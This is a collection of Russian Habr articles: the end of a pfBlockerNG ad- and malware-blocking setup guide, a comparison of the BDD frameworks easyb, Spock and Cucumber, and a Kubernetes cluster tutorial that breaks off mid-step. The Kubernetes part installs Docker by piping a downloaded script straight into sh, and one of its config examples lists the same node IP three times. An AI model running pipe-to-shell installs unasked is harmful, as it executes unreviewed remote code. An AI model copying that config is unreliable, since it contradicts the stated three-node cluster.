Осталось только выбрать нужные фиды. По умолчанию уже будет группа фидов PRI1 на странице *Firewall > pfBlockerNG > IP > IPv4*. Туда входят основные фиды из группы PRI1 - наиболее качественные, с низкой вероятность false-posive срабатываний. Но после некоторого времени смотрите логи (*Firewall > pfBlockerNG > Alerts*) - некоторые из этих фидов могут сильно повлиять на работу торрента, точнее могут заблокировать соединения с торрент-трекерами и сидами. Если вы уверены, что соединения с таковыми IP адресами безопасно для вашего торрент-клиента, то можете отключить соответствующие фиды переключив State в состояние OFF.
Для IPv6 по умолчанию не будет группы фидов, поэтому следует добавить нужные на *Firewall > pfBlockerNG > Feeds.*
DNSBL фильтрация
----------------
Теперь займёмся блокировкой неугодных доменов - рекламы, трекеров, малвари и фишинга. Идём на *Firewall > pfBlockerNG > DNSBL*. Делаем следующие настройки - Enable DNSBL, DNSBL Mode = Unbound python mode, DNS Reply Logging, DNSBL Blocking, HSTS mode, CNAME Validation. Если что-то не написано - оставляем как есть. Если в сети используется IPv6, то включаем **IPv6 DNSBL**. Идём дальше - Web Server Interface = Localhost, Resolver cache (ускорит резолвинг после обновления/перезапуска pfBlockerNG). Ставим галочку у **TOP1M** и выбираем следующие домены: AERO, COM, NET, INFO, IO, ORG, RU, XN-P1AI (это .РФ). Значение **DNSBL IPs List Action** ставим в "Alias Deny".
Так как DNSBL врят ли будет нам полезен, если браузеры пойдут в обход нашего DNS через DNS-over-HTTPS или DNS-over-TLS, то нам надо заблокировать это дело. На *Firewall > pfBlockerNG > DNSBL > DNSBL SafeSearch* ставим **DoH/DoT Blocking** в Enable и выбираем через Ctrl+A все домены списка **DoH/DoT Blocking List**.
По умолчанию выбран только StevenBlack\_ADs фид, содержащий не такое уж большое количество рекламных доменов.
Поэтому вот моя подборка:
* **Реклама** - Adaway, D\_Me\_ADs, EasyList, EasyList\_Russian, Yoyo, Ad\_Wars, Anudeep\_BL, Fademinds, hostsVN, LanikSJ, PL\_Adservers
* **Трекинг** - D\_Me\_Tracking, EasyPrivacy, Fademind\_2o7, Frogeye\_First, Lightswitch05, Max\_MS, Perflyst\_Android, Perflyst\_FireTV, Perflyst\_TV
* **Фишинг** - OpenPhish, PhishingArmy
* **Скрытые криптомайнеры** - CoinBlocker\_All, CoinBlocker\_Opt, NoCoin, Prigent\_Crypto
* **Малварь** - D\_Me\_Malw, SWC, URLhaus\_Mal, Krisk\_C19
Но что, если будет обращение к внешнему DNS серверу? Сделаем переадресацию портов - так, чтобы запросы на 53/UDP порт всегда редиректились на pfSense. А запросы на DNS-over-TLS порт (853/TCP) заблокируем.
Идём на *Firewall > NAT > Port Forward - Add*. И создаём следующее правило:
* Interface - LAN
* Address Family - IPv4
* Protocol - TCP/UDP
* Destination - Invert match + LAN address
* Destination port range - DNS
* Redirect target IP - LAN address
* Redirect target port - DNS
Теперь все DNS запросы на внешние DNS сервера будут заворачивать на резолвер pfSense. Если в локальной сети используется IPv6, то создаём такое же правило с Address Family = IPv6.
Заблокируем DNS-over-TLS. Идём на *Firewall > Rules > LAN - Add rule to top* (стрелка вверх) и создаём следующее правило:
* Action - Reject
* Interface - LAN
* Address Family - IPv4+IPv6
* Protocol - TCP
* Source - any
* Destination - any
* Destination Port Range - DNS over TLS (853)
Проверка
--------
Осталось запустить процесс обновления на *Firewall > pfBlockerNG > Update - Update -> Run* и, дождавшись UPDATE PROCESS ENDED, идти проверять интернет. Если открытие какого-то сайта резко прерывается или вы получаете страницу с certificate error (ведь pfBlockerNG не может по-настоящему подменить сертификат сайта), пройдя по которой видите заглушку с сообщением о блокировке:
То переходите на *Firewall > pfBlockerNG > Reports > Unified* и находите нужный домен скорее всего где-то вверху списка в столбце Destination:
Если это действительно нужный вам домен, то добавляете его в белый список с помощью иконки "+", если есть сомнения - нажимаете на иконку "i", в открывшемся окне вы сможете проверить репутацию данного домен через различные онлайн-сервисы:
Если же какой-то фид даёт слишком частые ложные срабатывания, то прежде чем отключать его целиком попробуйте для него опцию **TOP1M Whitelist** - она уберёт из него популярные сайты.
Аналогично и с заблокированными IP адресами.
Важное про IP фиды - если те стали слишком уж большие, вы можете увидеть в логах pfSense "Cannot allocate memory" ошибку, вроде:
```
There were error(s) loading the rules: /tmp/rules.debug:31: cannot define table pfB_Europe_v4:
Cannot allocate memory - The line in question reads [31]: table persist file “/var/db/aliastables/pfB\_Europe\_v4.txt”
```
Значит под таблицы файрвола (т.е. алиасы) выделено недостаточно памяти. Лечится увеличением **Firewall Maximum Table Entries** (лучше сразу раза в 2-3) на странице *System > Advanced > Firewall & NAT*.
Ну а посмотреть на красивые репорты с диаграммами можно на *Firewall > pfBlockerNG > Reports > IP Blocks Stats / DNSBL Blocks Stats*:
Ещё про pfBlockerNG:
* [Настройка pfBlockerNG на pfSense (часть 1)](https://habr.com/ru/post/580978/) | https://habr.com/ru/post/581208/ | null | ru | null |
# Тестирование с использованием BDD
#### Введение
Современные проекты все чаще предъявляют высокие требования к покрытию автоматическими тестами. В наше время писать тесты не просто признак хорошего тона, но одно из требований, которое предъявляется к коду. Все чаще мы слышим такие аббревиатуры, как TDD (Test Driven Development) и BDD (Behaviour Driven Development) и многие строго следуют этим подходам в разработке.
BDD это одна из разновидностей TDD, и об этом я хотел бы написать в этой статье. Точнее не о самом BDD, а о frameworks, которые нам предоставляет индустрия на сегодняшний день. А если уж быть совсем точным, то о трех из них: [spock](http://code.google.com/p/spock/), [easyb](http://www.easyb.org/) и [cucumber](http://www.easyb.org/).
##### TDD и BDD
Я не буду тут ссылаться на статьи и презентации корифеев IT индустрии. Мне запомнилась одна фраза из Twitter по поводу TDD которая засела в моем сознании, и которая на мой взгляд четко и коротко характеризует TDD подход. К сожалению дословно я её привести не могу, но смысл в ней следующий: «если вы следуете TDD, то можете быть 100% уверены, что каждая строчка кода была написана благодаря упавшему(ым) тесту(ам)». Я видел и слышал много дебатов по поводу достоинств и недостатков TDD и BDD, но а) тесты писать надо б) если код был написан благодаря упавшему тесту, то этому коду можно доверять, и с легкостью его изменять (рефакторить) не боясь испортить поведение системы.
Теперь про BDD. Появилось это явление позже и как утверждает Фаулер в статье [«Mocks Aren't Stubs»](http://martinfowler.com/articles/mocksArentStubs.html) благодаря так называемым мокистам. С другой стороны этот подход активно продвигают ребята из Agaile тусовки, сводя к минимуму расстояние между разработчиками, пользователями и аналитиками систем. Достигается это путем получения Executable Scenarios, иными словами, сценарии которые описывают пользователи переводятся в исполняемый тест. BDD frameworks с этим удачно справляются.
Теперь перейдем к сравнению.
Все примеры описывают один и тот же сценарий. Я опущу описание проблемы решение, которой необходимо покрыть тестами, потому как сами сценарии должны ясно описать её.
Автор статьи приводит реализации BDD в порядке возрастания симпатии к ним.
##### Easyb
Данный framework написан на [Groovy](http://groovy.codehaus.org/). Как и все BDD реализации поддерживает нотацию Given-When-Then. Легко интегрируется в Continuous Integration (CI).
Вот пример сценария:
`description "This story is about sqrt optimisation algorithm"
narrative "this shows sqrt optimisation", {
as a "java developer"
i want "to know how sqrt optimisation works"
so that "that I can pass google interview"
}
before "init input and expected result",{
}
where "complete scenarios data",{
input = [[5, 10, -3, 17, 12, 1, -2, 13, -12], [5, 8, 13, 5, 21, 6, 3, 7, -2, 4, 8, 12]]
leftIndex = [2,3]
rightIndex = [5,10]
expectedSumm = [27,51]
}
scenario "find summ within two indexes #leftIndex and #rightIndex of the array #input",{
given "An Sqrt algorithm implementation",{
alg = new SqrtDecompositionSum(input.toArray(new int[0]))
}
when "calc sum between two indexes", {
actualSum = alg.calcSummBetween(leftIndex, rightIndex)
}
then "summ should be equal expected #expectedSumm", {
actualSum.shouldBe expectedSumm
}
}`
Вот как выглядит результат теста:
Тут «вылазит» первый недостаток easyb. Дело в том, что непонятно откуда взялось 2 сценария, в то время как описан 1. Если вглядеться в секцию where сценария, то можно увидеть, что подготавливается 2 набора входных и ожидаемых значений. К сожалению конструкция where не документирована даже на [сайте](http://www.easyb.org/) проекта, по крайней мере я её там не нашел.
Ниже приведен пример упавшего теста-сценария
Как видим результат вполне читаем. Обратите внимание на строку `actualSum.shouldBe expectedSumm`. Это sugar, который предоставляет easyb для проверки ожидаемого с актуальным результатом.
Для того чтобы запустить сценарий из IDE необходимо поставить easyb plugin.
Вторым недостатком я могу отметить то, что последний раз обновления easyb было в 2010 году, что на мой взгляд уже достаточно давно.
За подробностями обращайтесь на [сайт](http://www.easyb.org/) проекта.
##### Spock
[Spock](http://code.google.com/p/spock/), как и EasyB выходец из groovy. Его очень любят использовать разработчики Groovy/Grails. Наш сценарий будет выглядеть так:
`class SqrtSumAlgSpecTest extends Specification {
Algorithm alg
def "Sqrt sums scenarios"(){
when:
alg = new SqrtDecompositionSum(input.toArray(new int[0]))
then:
outputSumm == alg.calcSummBetween(leftIndex, rightIndex)
where:
input | leftIndex | rightIndex | outputSumm
[5, 10, -3, 17, 12, 1, -2, 13, -12] |2 |5 |27
[5, 8, 13, 5, 21, 6, 3, 7, -2, 4, 8, 12] |3 |10 |52
}
}`
Spock мне больше нравится конструкцией where. Для того, чтобы создать spock спецификацию, необходимо создать groovy класс унаследованный от `spock.lang.Specification`.
Ниже приведен пример упавшего теста-сценария:
Spock, на мой взгляд, ближе к разработчику нежели к аналитику или QA инженеру, однако все равно легко читаем.
##### Cucumber
С [Cucumber](http://cukes.info/) я познакомился совсем недавно, и чем больше я с ним экспериментировал, тем больше он мне нравился. В отличие от первых двух, Cucumber выходец из Ruby. Существует его реализация для Java и С#.
Сценарии на cucumber состоят из двух файлов: собственно сценарий, и его реализация на Java, C#, Ruby. Это позволяет отделить сценарий от реализации, что делает сценарии абсолютно обычным повествованием на английском языке, приведем пример
`Feature: Sqrt Sums Algorithm Feature
In order to ensure that my algorithm works
As a Developer
I want to run a quick Cuke4Duke test
Scenario Outline: Sqrt Sums Alg Scenario
Given The input array
When The calc sum between ,
Then The summ is <output summ>.
Examples:
|input array |Left index |Right index|output summ|
|5, 10, -3, 17, 12, 1, -2, 13, -12 |2 |5 |27 |
|5, 8, 13, 5, 21, 6, 3, 7, -2, 4, 8, 12 |3 |10 |52`
Кстати, сценарии в cucumber называют features.
А вот реализация
`public class SqrtsumsalgFeature {
private Algorithm alg;
private int result;
@Given ("^The input array ([\\d\\s\\-\\,]*)$")
public void theInputArray(String input) {
String[] split = input.split(",");
int[] arrayInput = new int[split.length];
for (int i = 0; i < arrayInput.length; i++) {
arrayInput[i] = Integer.valueOf(split[i].trim());
}
alg = new SqrtDecompositionSum(arrayInput);
}
@When ("^The calc sum between ([\\d]*), ([\\d]*)$")
public void theCalcSumBetween(int L, int R) {
result = alg.calcSummBetween(L, R);
}
@Then ("^The summ is ([\\d]*).$")
public void theSummIs(int expectedResult) {
Assert.assertThat(result, is(expectedResult));
}
}`
Тут нужно соблюдать Naming Conventions как в именах файлов сценария и реализации, так и в именах методов реализации и шагов сценария. Иными словами они должны соответствовать. Соответствие достигается путем использования аннотаций [Given](https://habrahabr.ru/users/given/), @When, [Then](https://habrahabr.ru/users/then/) и строк регулярных выражений в качестве аргументов к аннотациям.
Используя группы регулярных выражений можно выделять аргументы методов реализации.
Ниже приведен пример прошедшего теста на cucumber
А вот пример упавшего feature
Мне по-душе разделение сценария от его реализации. Кого то может смутить использование регулярных выражений чтобы «увязать» реализацию со сценарием, однако они скрыты от пишущего сценарий, и большинство разработчиков знакомы с ними, так что этот факт я бы не стал относить к недостаткам. За информацией о cuke4duke — реализации для Java прошу зайти [сюда](http://cuke4ninja.com/toc.html).
#### Итог
Статья получилась выше среднего. Хотелось бы еще описать интеграцию с maven и Continuous Integration. Думаю, что это будет тема будущего поста.
Пишите исполняемые сценарии, это не только полезно, но и доставляет удовольствие. | https://habr.com/ru/post/139674/ | null | ru | null |
# Основы Kubernetes
В этой публикации я хотел рассказать об интересной, но незаслуженно мало описанной на Хабре, системе управления контейнерами Kubernetes.
#### **Что такое Kubernetes?**
Kubernetes является проектом с открытым исходным кодом, предназначенным для управления кластером контейнеров Linux как единой системой. Kubernetes управляет и запускает контейнеры Docker на большом количестве хостов, а так же обеспечивает совместное размещение и репликацию большого количества контейнеров. Проект был начат Google и теперь поддерживается многими компаниями, среди которых Microsoft, RedHat, IBM и Docker.
Компания Google пользуется контейнерной технологией уже более десяти лет. Она начинала с запуска более 2 млрд контейнеров в течение одной недели. С помощью проекта Kubernetes компания делится своим опытом создания открытой платформы, предназначенной для масштабируемого запуска контейнеров.
Проект преследует две цели. Если вы пользуетесь контейнерами Docker, возникает следующий вопрос о том, как масштабировать и запускать контейнеры сразу на большом количестве хостов Docker, а также как выполнять их балансировку. В проекте предлагается высокоуровневый API, определяющее логическое группирование контейнеров, позволяющее определять пулы контейнеров, балансировать нагрузку, а также задавать их размещение.
#### **Концепции Kubernetes**
**Nodes** ([node.md](https://github.com/GoogleCloudPlatform/kubernetes/blob/master/docs/node.md)): Нода это машина в кластере Kubernetes.
**Pods** ([pods.md](https://github.com/GoogleCloudPlatform/kubernetes/blob/master/docs/pods.md)): Pod это группа контейнеров с общими разделами, запускаемых как единое целое.
**Replication Controllers** ([replication-controller.md](https://github.com/GoogleCloudPlatform/kubernetes/blob/master/docs/replication-controller.md)): replication controller гарантирует, что определенное количество «реплик» pod'ы будут запущены в любой момент времени.
**Services** ([services.md](https://github.com/GoogleCloudPlatform/kubernetes/blob/master/docs/services.md)): Сервис в Kubernetes это абстракция которая определяет логический объединённый набор pod и политику доступа к ним.
**Volumes** ([volumes.md](https://github.com/GoogleCloudPlatform/kubernetes/blob/master/docs/volumes.md)): Volume(раздел) это директория, возможно, с данными в ней, которая доступна в контейнере.
**Labels** ([labels.md](https://github.com/GoogleCloudPlatform/kubernetes/blob/master/docs/labels.md)): Label'ы это пары ключ/значение которые прикрепляются к объектам, например pod'ам. Label'ы могут быть использованы для создания и выбора наборов объектов.
**Kubectl Command Line Interface** ([kubectl.md](https://github.com/GoogleCloudPlatform/kubernetes/blob/master/docs/kubectl.md)): kubectl интерфейс командной строки для управления Kubernetes.
#### **Архитектура Kubernetes**
Работающий кластер Kubernetes включает в себя агента, запущенного на нодах (kubelet) и компоненты мастера (APIs, scheduler, etc), поверх решения с распределённым хранилищем. Приведённая схема показывает желаемое, в конечном итоге, состояние, хотя все ещё ведётся работа над некоторыми вещами, например: как сделать так, чтобы kubelet (все компоненты, на самом деле) самостоятельно запускался в контейнере, что сделает планировщик на 100% подключаемым.
##### **Нода Kubernetes**
При взгляде на архитектуру системы мы можем разбить его на сервисы, которые работают на каждой ноде и сервисы уровня управления кластера. На каждой ноде Kubernetes запускаются сервисы, необходимые для управления нодой со стороны мастера и для запуска приложений. Конечно, на каждой ноде запускается Docker. Docker обеспечивает загрузку образов и запуск контейнеров.
###### **Kubelet**
Kubelet управляет pod'ами их контейнерами, образами, разделами, etc.
###### **Kube-Proxy**
Также на каждой ноде запускается простой proxy-балансировщик. Этот сервис запускается на каждой ноде и настраивается в Kubernetes API. Kube-Proxy может выполнять простейшее перенаправление потоков TCP и UDP (round robin) между набором бэкендов.
##### **Компоненты управления Kubernetes**
Система управления Kubernetes разделена на несколько компонентов. В данный момент все они запускаются на мастер-ноде, но в скором времени это будет изменено для возможности создания отказоустойчивого кластера. Эти компоненты работают вместе, чтобы обеспечить единое представление кластера.
###### **etcd**
Состояние мастера хранится в экземпляре etcd. Это обеспечивает надёжное хранение конфигурационных данных и своевременное оповещение прочих компонентов об изменении состояния.
###### **Kubernetes API Server**
Kubernetes API обеспечивает работу api-сервера. Он предназначен для того, чтобы быть CRUD сервером со встроенной бизнес-логикой, реализованной в отдельных компонентах или в плагинах. Он, в основном, обрабатывает REST операции, проверяя их и обновляя соответствующие объекты в etcd (и событийно в других хранилищах).
###### **Scheduler**
Scheduler привязывает незапущенные pod'ы к нодам через вызов /binding API. Scheduler подключаем; планируется поддержка множественных scheduler'ов и пользовательских scheduler'ов.
###### **Kubernetes Controller Manager Server**
Все остальные функции уровня кластера представлены в Controller Manager. Например, ноды обнаруживаются, управляются и контролируются средствами node controller. Эта сущность в итоге может быть разделена на отдельные компоненты, чтобы сделать их независимо подключаемыми.
ReplicationController — это механизм, основывающийся на pod API. В конечном счете планируется перевести её на общий механизм plug-in, когда он будет реализован.
#### **Пример настройки кластера**
В качестве платформы для примера настройки была выбрана Ubuntu-server 14.10 как наиболее простая для примера и, в то же время, позволяющая продемонстрировать основные параметры настройки кластера.
Для создания тестового кластера будут использованы три машины для создания нод и отдельная машина для проведения удалённой установки. Можно не выделять отдельную машину и производить установку с одной из нод.
**Список используемых машин:**
* Conf
* Node1: 192.168.0.10 — master, minion
* Node2: 192.168.0.11 — minion
* Node3: 192.168.0.12 — minion
##### **Подготовка нод**
###### **Требования для запуска:**
1. На всех нодах установлен docker версии 1.2+ и bridge-utils
2. Все машины связаны друг с другом, необходимости в доступе к интернету нет (в этом случае необходимо использовать локальный docker registry)
3. На все ноды можно войти без ввода логина/пароля, с использованием ssh-ключей
###### **Установка ПО на ноды**
Установку Docker можно произвести по статье [в официальных источниках](https://docs.docker.com/installation/ubuntulinux/):
```
node% sudo apt-get update $ sudo apt-get install wget
node% wget -qO- https://get.docker.com/ | sh
```
Дополнительная настройка Docker после установки не нужна, т.к. будет произведена скриптом установки Kubernetes.
Установка bridge-utils:
```
node% sudo apt-get install bridge-utils
```
###### **Добавление ssh-ключей**
Выполняем на машине, с которой будет запущен скрипт установки.
Если ключи ещё не созданы, создаём их:
```
conf% ssh-keygen
```
Копируем ключи на удалённые машины, предварительно убедившись в наличии на них необходимого пользователя, в нашем случае core.
```
conf% ssh-copy-id core@192.168.0.10
conf% ssh-copy-id core@192.168.0.11
conf% ssh-copy-id core@192.168.0.12
```
##### **Установка Kubernetes**
Далее мы займёмся установкой непосредственно Kubernetes. Для этого в первую очередь скачаем и распакуем последний доступный релиз с GitHub:
```
conf% wget https://github.com/GoogleCloudPlatform/kubernetes/releases/download/v0.17.0/kubernetes.tar.gz
conf% tar xzf ./kubernetes.tar.gz
conf% cd ./kubernetes
```
###### **Настройка**
Настройка Kubernetes через стандартные скрипты примеров полностью производится перед установкой производится через конфигурационные файлы. При установке мы будем использовать скрипты папке ./cluster/ubuntu/.
В первую очередь изменим скрипт ./cluster/ubuntu/build.sh который скачивает и подготавливает необходимые для установки бинарники Kubernetes, etcd и flannel:
```
conf% vim ./cluster/ubuntu/build.sh
```
Для того, чтобы использовать последний, на момент написания статьи, релиз 0.17.0 необходимо заменить:
```
# k8s
echo "Download kubernetes release ..."
K8S_VERSION="v0.15.0"
```
На:
```
# k8s
echo "Download kubernetes release ..."
K8S_VERSION="v0.17.0"
```
И запустим:
```
conf% cd ./cluster/ubuntu/
conf% ./build.sh #Данный скрипт важно запускать именно из той папки, где он лежит.
```
Далее указываем параметры будущего кластера, для чего редактируем файл ./config-default.sh:
```
## Contains configuration values for the Ubuntu cluster
# В данном пункте необходимо указать все ноды будущего кластера, MASTER-нода указывается первой
# Ноды указываются в формате разделитель - пробел
# В качестве пользователя указывается тот пользователь для которого по нодам разложены ssh-ключи
export nodes="core@192.168.0.10 core@192.168.0.10 core@192.168.0.10"
# Определяем роли нод : a(master) или i(minion) или ai(master и minion), указывается в том же порядке, что и ноды в списке выше.
export roles=("ai" "i" "i")
# Определяем количество миньонов
export NUM\_MINIONS=${NUM\_MINIONS:-3}
# Определяем IP-подсеть из которой, в последствии будут выделяться адреса для сервисов.
# Выделять необходимо серую подсеть, которая не будет пересекаться с имеющимися, т.к. эти адреса будут существовать только в пределах каждой ноды.
#Перенаправление на IP-адреса сервисов производится локальным iptables каждой ноды.
export PORTAL\_NET=192.168.3.0/24
#Определяем подсеть из которой будут выделяться подсети для создания внутренней сети flannel.
#flannel по умолчанию выделяет подсеть с маской 24 на каждую ноду, из этих подсетей будут выделяться адреса для Docker-контейнеров.
#Подсеть не должна пересекаться с PORTAL\_NET
export FLANNEL\_NET=172.16.0.0/16
# Admission Controllers определяет политику доступа к объектам кластера.
ADMISSION\_CONTROL=NamespaceLifecycle,NamespaceAutoProvision,LimitRanger,ResourceQuota
# Дополнительные параметры запуска Docker. Могут быть полезны для дополнительных настроек
# например установка --insecure-registry для локальных репозиториев.
DOCKER\_OPTS=""
```
На этом настройка заканчивается и можно переходить к установке.
###### **Установка**
Первым делом необходимо сообщить системе про наш ssh-agent и используемый ssh-ключ для этого выполняем:
```
eval `ssh-agent -s`
ssh-add /путь/до/ключа
```
Далее переходим непосредственно к установке. Для этого используется скрипт ./kubernetes/cluster/kube-up.sh которому необходимо указать, что мы используем ubuntu.
```
conf% cd ../
conf% KUBERNETES_PROVIDER=ubuntu ./kube-up.sh
```
В процессе установки скрипт потребует пароль sudo для каждой ноды. По окончанию установки проверит состояние кластера и выведет список нод и адреса Kubernetes api.
**Пример вывода скрипта**
```
Starting cluster using provider: ubuntu
... calling verify-prereqs
... calling kube-up
Deploying master and minion on machine 192.168.0.10
<Список копируемых файлов>
[sudo] password to copy files and start node:
etcd start/running, process 16384
Connection to 192.168.0.10 closed.
Deploying minion on machine 192.168.0.11
<Список копируемых файлов>
[sudo] password to copy files and start minion:
etcd start/running, process 12325
Connection to 192.168.0.11 closed.
Deploying minion on machine 192.168.0.12
<Список копируемых файлов>
[sudo] password to copy files and start minion:
etcd start/running, process 10217
Connection to 192.168.0.12 closed.
Validating master
Validating core@192.168.0.10
Validating core@192.168.0.11
Validating core@192.168.0.12
Kubernetes cluster is running. The master is running at:
http://192.168.0.10
... calling validate-cluster
Found 3 nodes.
1 NAME LABELS STATUS
2 192.168.0.10 Ready
3 192.168.0.11 Ready
4 192.168.0.12 Ready
Validate output:
NAME STATUS MESSAGE ERROR
etcd-0 Healthy {"action":"get","node":{"dir":true,"nodes":[{"key":"/coreos.com","dir":true,"modifiedIndex":11,"createdIndex":11},{"key":"/registry","dir":true,"modifiedIndex":5,"createdIndex":5}],"modifiedIndex":5,"createdIndex":5}}
nil
controller-manager Healthy ok nil
scheduler Healthy ok nil
Cluster validation succeeded
Done, listing cluster services:
Kubernetes master is running at http://192.168.0.10:8080
```
Посмотрим, какие ноды и сервисы присутствуют в новом кластере:
```
conf% cp ../kubernetes/platforms/linux/amd64/kubectl /opt/bin/
conf% /opt/bin/kubectl get services,minions -s "http://192.168.0.10:8080"
NAME LABELS SELECTOR IP PORT(S)
kubernetes component=apiserver,provider=kubernetes 192.168.3.2 443/TCP
kubernetes-ro component=apiserver,provider=kubernetes 192.168.3.1 80/TCP
NAME LABELS STATUS
192.168.0.10 Ready
192.168.0.11 Ready
192.168.0.12 Ready
```
Видим список из установленных нод в состоянии Ready и два предустановленных сервиса kubernetes и kubernetes-ro — это прокси для непосредственного доступа к Kubernetes API. Как и к любому сервису Kubernetes к kubernetes и kubernetes-ro можно обратиться непосредственно по IP адресу с любой из нод.
#### **Запуск тестового сервиса**
Для запуска сервиса необходимо подготовить docker контейнер, на основе которого будет создан сервис. Дабы не усложнять, в примере будет использован общедоступный контейнер nginx. Обязательными составляющими сервиса являются Replication Controller, обеспечивающий запущенность необходимого набора контейнеров (точнее pod) и service, который определяет, на каких IP адресе и портах будет слушать сервис и правила распределения запросов между pod'ами.
Любой сервис можно запустить 2-я способами: вручную и с помощью конфиг-файла. Рассмотрим оба.
##### **Запуск сервиса вручную**
Начнём с создания Replication Controller'а:
```
conf% /opt/bin/kubectl run-container nginx --port=80 --port=443 --image=nginx --replicas=6 -s "http://192.168.0.10:8080"
```
Где:
* nginx — имя будущего rc
* --port — порты на которых будут слушать контейнеры rc
* --image — образ из которого будут запущены контейнеры
* --replicas=6 — количество реплик
Посмотрим, что у нас получилось:
```
/opt/bin/kubectl get pods,rc -s "http://192.168.0.10:8080"
```
**Вывод**
```
POD IP CONTAINER(S) IMAGE(S) HOST LABELS STATUS CREATED MESSAGE
nginx-3gii4 172.16.58.4 192.168.0.11/192.168.0.11 run-container=nginx Running 9 seconds
nginx nginx Running 9 seconds
nginx-3xudc 172.16.62.6 192.168.0.10/192.168.0.10 run-container=nginx Running 9 seconds
nginx nginx Running 8 seconds
nginx-igpon 172.16.58.6 192.168.0.11/192.168.0.11 run-container=nginx Running 9 seconds
nginx nginx Running 8 seconds
nginx-km78j 172.16.58.5 192.168.0.11/192.168.0.11 run-container=nginx Running 9 seconds
nginx nginx Running 8 seconds
nginx-sjb39 172.16.83.4 192.168.0.12/192.168.0.12 run-container=nginx Running 9 seconds
nginx nginx Running 8 seconds
nginx-zk1wv 172.16.62.7 192.168.0.10/192.168.0.10 run-container=nginx Running 9 seconds
nginx nginx Running 8 seconds
CONTROLLER CONTAINER(S) IMAGE(S) SELECTOR REPLICAS
nginx nginx nginx run-container=nginx 6
```
Был создан Replication Controller с именем nginx и количеством реплик равным 6. Реплики в произвольном порядке запущены на нодах, местоположения каждой pod'ы указано в столбце HOST.
Вывод может отличаться от приведённого в некоторых случаях, например:
* Часть pod находится в состоянии pending: это значит, что они ещё не запустились, необходимо немного подождать
* У pod не определён HOST: это значит, что scheduler ещё не назначил ноду на которой будет запущен pod
Далее создаём service который будет использовать наш Replication Controller как бекенд.
Для http:
```
conf% /opt/bin/kubectl expose rc nginx --port=80 --target-port=80 --service-name=nginx-http -s "http://192.168.0.10:8080"
```
И для https:
```
conf% /opt/bin/kubectl expose rc nginx --port=443 --target-port=443 --service-name=nginx-https -s "http://192.168.0.10:8080"
```
Где:
* rc nginx — тип и имя используемого ресурса (rc = Replication Controller)
* --port — порт на котором будет «слушать» сервис
* --target-port — порт контейнера на который будет производиться трансляция запросов
* --service-name — будущее имя сервиса
Проверяем результат:
```
/opt/bin/kubectl get rc,services -s "http://192.168.0.10:8080"
```
**Вывод**
```
CONTROLLER CONTAINER(S) IMAGE(S) SELECTOR REPLICAS
nginx nginx nginx run-container=nginx 6
NAME LABELS SELECTOR IP PORT(S)
kubernetes component=apiserver,provider=kubernetes 192.168.3.2 443/TCP
kubernetes-ro component=apiserver,provider=kubernetes 192.168.3.1 80/TCP
nginx-http run-container=nginx 192.168.3.66 80/TCP
nginx-https run-container=nginx 192.168.3.172 443/TCP
```
Для проверки запущенности можно зайти на любую из нод и выполнить в консоли:
```
node% curl http://192.168.3.66
```
В выводе curl увидим стандартную приветственную страницу nginx. Готово, сервис запущен и доступен.
##### **Запуск сервиса с помощью конфигов**
Для этого способа запуска необходимо создать конфиги для Replication Controller'а и service'а. Kubernetes принимает конфиги в форматах yaml и json. Мне ближе yaml поэтому будем использовать его.
Предварительно очистим наш кластер от предыдущего эксперимента:
```
conf% /opt/bin/kubectl delete services nginx-http nginx-https -s "http://192.168.0.10:8080"
conf% /opt/bin/kubectl stop rc nginx -s "http://192.168.0.10:8080"
Теперь приступим к написанию конфигов.
```
**nginx\_rc.yaml**
**содержимое**
```
apiVersion: v1beta3
kind: ReplicationController
# Указываем имя ReplicationController
metadata:
name: nginx-controller
spec:
# Устанавливаем количество реплик
replicas: 6
selector:
name: nginx
template:
metadata:
labels:
name: nginx
spec:
containers:
#Описываем контейнер
- name: nginx
image: nginx
#Пробрасываем порты
ports:
- containerPort: 80
- containerPort: 443
livenessProbe:
# включаем проверку работоспособности
enabled: true
type: http
# Время ожидания после запуска pod'ы до момента начала проверок
initialDelaySeconds: 30
TimeoutSeconds: 5
# http проверка
httpGet:
path: /
port: 80
portals:
- destination: nginx
```
Применяем конфиг:
```
conf% /opt/bin/kubectl create -f ./nginx_rc.yaml -s "http://192.168.0.10:8080"
```
Проверяем результат:
```
conf% /opt/bin/kubectl get pods,rc -s "http://192.168.0.10:8080"
```
**Вывод**
```
POD IP CONTAINER(S) IMAGE(S) HOST LABELS STATUS CREATED MESSAGE
nginx-controller-0wklg 172.16.58.7 192.168.0.11/192.168.0.11 name=nginx Running About a minute
nginx nginx Running About a minute
nginx-controller-2jynt 172.16.58.8 192.168.0.11/192.168.0.11 name=nginx Running About a minute
nginx nginx Running About a minute
nginx-controller-8ra6j 172.16.62.8 192.168.0.10/192.168.0.10 name=nginx Running About a minute
nginx nginx Running About a minute
nginx-controller-avmu8 172.16.58.9 192.168.0.11/192.168.0.11 name=nginx Running About a minute
nginx nginx Running About a minute
nginx-controller-ddr4y 172.16.83.7 192.168.0.12/192.168.0.12 name=nginx Running About a minute
nginx nginx Running About a minute
nginx-controller-qb2wb 172.16.83.5 192.168.0.12/192.168.0.12 name=nginx Running About a minute
nginx nginx Running About a minute
CONTROLLER CONTAINER(S) IMAGE(S) SELECTOR REPLICAS
nginx-controller nginx nginx name=nginx 6
```
Был создан Replication Controller с именем nginx и количеством реплик равным 6. Реплики в произвольном порядке запущены на нодах, местоположения каждой pod'ы указано в столбце HOST.
**nginx\_service.yaml**
**Содержимое**
```
apiVersion: v1beta3
kind: Service
metadata:
name: nginx
spec:
publicIPs:
- 12.0.0.5 # IP который будет присвоен сервису помимо автоматически назначенного.
ports:
- name: http
port: 80 #порт на котором будет слушать сервис
targetPort: 80 порт контейнера на который будет производиться трансляция запросов
protocol: TCP
- name: https
port: 443
targetPort: 443
protocol: TCP
selector:
name: nginx # поле должно совпадать с аналогичным в конфиге ReplicationController
```
Можно заметить, что при использовании конфига за одним сервисом могут быть закреплены несколько портов.
Применяем конфиг:
```
conf% /opt/bin/kubectl create -f ./nginx_service.yaml -s "http://192.168.0.10:8080"
```
Проверяем результат:
```
/opt/bin/kubectl get rc,services -s "http://192.168.0.10:8080"
```
**Вывод**
```
CONTROLLER CONTAINER(S) IMAGE(S) SELECTOR REPLICAS
nginx-controller nginx nginx name=nginx 6
NAME LABELS SELECTOR IP PORT(S)
kubernetes component=apiserver,provider=kubernetes 192.168.3.2 443/TCP
kubernetes-ro component=apiserver,provider=kubernetes 192.168.3.1 80/TCP
nginx name=nginx 192.168.3.214 80/TCP
12.0.0.5 443/TCP
```
Для проверки запущенности можно зайти на любую из нод и выполнить в консоли:
```
